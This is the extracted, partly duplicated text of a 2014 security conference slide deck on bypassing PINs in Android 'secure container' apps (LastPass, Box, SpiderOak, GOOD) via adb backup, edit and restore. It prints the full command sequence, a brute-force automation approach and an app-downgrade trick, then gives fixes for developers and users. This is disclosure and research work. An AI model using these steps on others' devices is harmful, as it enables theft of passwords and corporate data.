mobile fail: cracking open "secure" android containers [sectorca]

253
Chris John Riley MOBILE FAIL Cracking open secure Android Containers ::: :::

Upload: chris-john-riley

Post on 27-Nov-2014

181 views

Category:

Technology


0 download

DESCRIPTION

SecTor.ca 22nd October 2014 We've known for some time that physical access to a device means game over. In response, we've begun to rely more and more on "secure" container applications to keep our private and company data secured. Whether you use LastPass to secure your passwords, or GOOD for Enterprise to make sure your company emails are locked up tight, this presentation will demonstrate that more often than not, the container isn't as secure as you think. In this presentation I will discuss specific design flaws in the security of "secure" Applications that promise to keep your data/passwords and even company email safe and sound should the device fall into the wrong hands.

TRANSCRIPT

Page 1: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley

MOBILE FAILCracking open bdquosecureldquo Android Containers

Chris John Riley | 22102014 | 3

gt whoami

IT Security Consultant

Regular conference speaker DEF CON | Bsides | Hashdays | SecZone | DeepSec

blog httpblogc22cc twitter ChrisJohnRiley Abject Failure (See Life for reference)

ldquoTHE WISEST MAN IS HE WHO

KNOWS THAT HE KNOWS NOTHINGrdquo

SOCRATES APOLOGY 21D

Chris John Riley | 22102014 | 7

[0] Why

[1] Scenario

[2] How

[3] Closer Look

[4] Making it easy

[5] Review

Chris John Riley | 22102014 | 9

0

][WHY

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 2: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 3

gt whoami

IT Security Consultant

Regular conference speaker DEF CON | Bsides | Hashdays | SecZone | DeepSec

blog httpblogc22cc twitter ChrisJohnRiley Abject Failure (See Life for reference)

ldquoTHE WISEST MAN IS HE WHO

KNOWS THAT HE KNOWS NOTHINGrdquo

SOCRATES APOLOGY 21D

Chris John Riley | 22102014 | 7

[0] Why

[1] Scenario

[2] How

[3] Closer Look

[4] Making it easy

[5] Review

Chris John Riley | 22102014 | 9

0

][WHY

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

